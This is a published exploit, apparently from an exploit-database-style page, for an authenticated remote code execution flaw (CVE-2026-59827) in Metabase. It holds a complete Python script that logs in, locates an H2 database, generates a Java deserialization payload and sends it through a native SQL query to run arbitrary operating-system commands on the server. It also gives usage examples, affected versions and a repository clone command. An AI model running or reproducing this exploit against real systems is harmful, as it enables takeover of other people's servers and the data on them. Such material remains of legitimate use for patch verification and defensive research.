Metabase 0.61.0 - Authenticated Remote Code Execution

Indicators of Compromise

• exploit-code: # Exploit Title: Metabase 0.61.0 - Authenticated Remote Code Execution # Date: 2026-08-12 # Exploit Author: Gutierre0x80 # Vendor Homepage: https://www.metabase.com/ # Software Link: https://github.com/metabase/metabase # Version: >= 0.58.0 < 0.58.15, >= 0.59.0 < 0.59.12, >= 0.60.0 < 0.60.6.3, >= 0.61.0 < 0.61.1.4 # CVE: CVE-2026-59827 # # Advisory: # https://github.com/metabase/metabase/security/advisories/GHSA-w95f-x9v9-wv36 # # Description: # Metabase instances with an H2 database connection, including the default # sample database, deserialize arbitrary Java objects returned by native H2 # queries in result columns of type OTHER without validation. An authenticated # user with permission to execute native queries against an accessible H2 # database can exploit this behavior to execute arbitrary operating-system # commands on the Metabase server. # # Requirements: # - Valid Metabase credentials # - Permission to execute native database queries # - Access to an H2 database connection, including the default sample database # # Download: # git clone https://github.com/Gutierre0x80/CVE-2026-59827.git # cd CVE-2026-59827 # # Usage: # python3 exploit.py <target_url> <username> <password> <command> # # Example: # python3 exploit.py http://127.0.0.1:3000 [email protected] 'Password123!' 'id' # # Repository: # https://github.com/Gutierre0x80/CVE-2026-59827 #!/usr/bin/env python3 """ Metabase - Authenticated RCE via H2 Java Deserialization in Native SQL Affects: <= v0.61.1 (latest at time of disclosure) Usage: python3 exploit.py <url> <user> <password> <command> Example: python3 exploit.py http://127.0.0.1:3000 [email protected] Admin1234! "id" Required files (same directory as this script): clojure-1.12.3.jar VarChainPayload.class """ import os import sys import subprocess import requests HERE = os.path.dirname(os.path.realpath(__file__)) CLJ_JAR = os.path.join(HERE, "clojure-1.12.3.jar") CLASSPATH = f":{CLJ_JAR}:{HERE}" def die(msg): print(f"[-] {msg}", file=sys.stderr) sys.exit(1) def check_deps(): missing = [] # Check local files for p in [CLJ_JAR, os.path.join(HERE, "VarChainPayload.class")]: if not os.path.isfile(p): missing.append(os.path.basename(p)) if missing: die(f"Missing files in {HERE}: {missing}") # Check system binaries try: subprocess.run(["java", "-version"], capture_output=True, timeout=5, check=True) except (FileNotFoundError, subprocess.CalledProcessError): die("Java not found or not working. Install OpenJDK 11+ and add to PATH") try: import requests except ImportError: die("Python 'requests' library not found. Install with: pip install requests") def get_token(session, url, user, password): r = session.post(f"{url}/api/session", json={"username": user, "password": password}, timeout=15) r.raise_for_status() token = r.json().get("id") if not token: die(f"Authentication failed: {r.text[:200]}") return token def get_h2_db_id(session, url, token): r = session.get(f"{url}/api/database", headers={"X-Metabase-Session": token}, timeout=15) r.raise_for_status() data = r.json() dbs = data.get("data", data) if isinstance(data, dict) else data for db in dbs: if db.get("engine") == "h2": return db["id"], db["name"] die("No H2 database found in this Metabase instance.") def generate_payload(command): result = subprocess.run( ["java", "--add-opens", "java.base/java.util=ALL-UNNAMED", "-cp", CLASSPATH, "VarChainPayload", command], capture_output=True, text=True, timeout=30 ) payload = result.stdout.strip() if not payload: die(f"Payload generation failed:\n{result.stderr}") return payload def fire(session, url, token, db_id, payload_hex): sql = f"SELECT CAST(X'{payload_hex}' AS OTHER)" r = session.post( f"{url}/api/dataset", headers={"X-Metabase-Session": token}, json={"database": db_id, "native": {"query": sql}, "type": "native"}, timeout=30 ) return r.json() def main(): if len(sys.argv) != 5: print(__doc__) sys.exit(1) _, url, user, password, command = sys.argv url = url.rstrip("/") check_deps() s = requests.Session() s.headers.update({"Content-Type": "application/json"}) print(f"[*] Target : {url}") print(f"[*] User : {user}") print(f"[*] Command : {command}") print() print("[*] Authenticating...") token = get_token(s, url, user, password) print(f"[+] Session : {token}") print("[*] Locating H2 database...") db_id, db_name = get_h2_db_id(s, url, token) print(f"[+] Database : {db_name} (id={db_id})") print("[*] Generating payload...") payload = generate_payload(command) print(f"[+] Payload : {len(payload) // 2} bytes") print("[*] Firing exploit...") result = fire(s, url, token, db_id, payload) error = str(result) ran_indicators = [ "ClassCastException", # normal: Process cast to Number "ProcessImpl", # process object leaked in error "NonTransientConnection", # H2 lock after exec triggered reconnect "JdbcSQLData", # deserialization error after exec ] if any(ind in error for ind in ran_indicators): print("[+] RCE executed — H2 error after deserialization confirms command ran") else: print(f"[?] Unexpected response (command may not have run): {error[:300]}") print() print("[*] Done. If the command writes output to a file, retrieve it separately.") if __name__ == "__main__": main()